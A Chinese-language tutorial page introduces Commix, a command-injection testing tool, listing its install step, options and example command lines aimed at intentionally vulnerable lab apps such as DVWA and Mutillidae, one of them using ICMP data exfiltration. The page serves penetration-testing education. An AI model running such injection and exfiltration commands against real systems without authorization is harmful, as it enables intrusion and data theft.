系统命令注入漏洞自动化测试工具——Commix

创新互联建站专注为客户提供全方位的互联网综合服务，包含不限于成都网站设计、网站建设、外贸网站建设、鼎城网络推广、小程序制作、鼎城网络营销、鼎城企业策划、鼎城品牌公关、搜索引擎seo、人物专访、企业宣传片、企业代运营等，从售前售中售后，我们都将竭诚为您服务，您的肯定，是我们最大的嘉奖；创新互联建站为所有大学生创业者提供鼎城建站搭建服务，24小时服务热线：18980820575，官方网址：www.cdcxhl.com

Commix是一个适用于web开发者、渗透测试人员及安全研究者的自动化测试工具，可以帮助他们更高效的发现web应用中的命令注入攻击相关漏洞。Commix由Python编写。

环境要求
Python 2.6.x或2.7.x

安装
下载git clone https://github.com/stasinopoulos/commix.git commix

使用

基本使用

Usage: python commix.py [options]

选项

-h, --help Show help and exit. --verbose             Enable the verbose mode. --install             Install 'commix' to your system. --version             Show version number and exit. --update              Check for updates (apply if any) and exit.

目标

--url=URL           Target URL. --url-reload        Reload target URL after command execution.

请求

--host=HOST         HTTP Host header. --referer=REFERER   HTTP Referer header. --user-agent=AGENT  HTTP User-Agent header. --cookie=COOKIE     HTTP Cookie header. --headers=HEADERS   Extra headers (e.g. 'Header1:Value1\nHeader2:Value2'). --proxy=PROXY       Use a HTTP proxy (e.g. '127.0.0.1:8080'). --auth-url=AUTH_..  Login panel URL. --auth-data=AUTH..  Login parameters and data. --auth-cred=AUTH..  HTTP Basic Authentication credentials (e.g.                     'admin:admin').

注入

--data=DATA         POST data to inject (use 'INJECT_HERE' tag). --suffix=SUFFIX     Injection payload suffix string. --prefix=PREFIX     Injection payload prefix string. --technique=TECH    Specify a certain injection technique : 'classic',                     'eval-based', 'time-based' or 'file-based'. --maxlen=MAXLEN     The length of the output on time-based technique                     (Default: 10000 chars). --delay=DELAY       Set Time-delay for time-based and file-based                     techniques (Default: 1 sec). --base64            Use Base64 (enc)/(de)code trick to prevent false-                     positive results. --tmp-path=TMP_P..  Set remote absolute path of temporary files directory. --icmp-exfil=IP_..  Use the ICMP exfiltration technique (e.g.                     'ip_src=192.168.178.1,ip_dst=192.168.178.3').

测试示例

测试漏洞web应用Damn 

python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

使用注入攻击Payload参数测试php-Charts 1.0

python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="//" --suffix="'"

使用特殊的头和HTTP代理测试OWASP Mutillidae

python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"

使用ICMP渗漏（exfiltration）技术测试Persistence

su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8""

网站名称：系统命令注入漏洞自动化测试工具——Commix
文章源于：http://www.mswzjz.cn/qtweb/news25/278025.html

攀枝花网站建设、攀枝花网站运维推广公司-贝锐智能，是专注品牌与效果的网络营销公司；服务项目有等

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 贝锐智能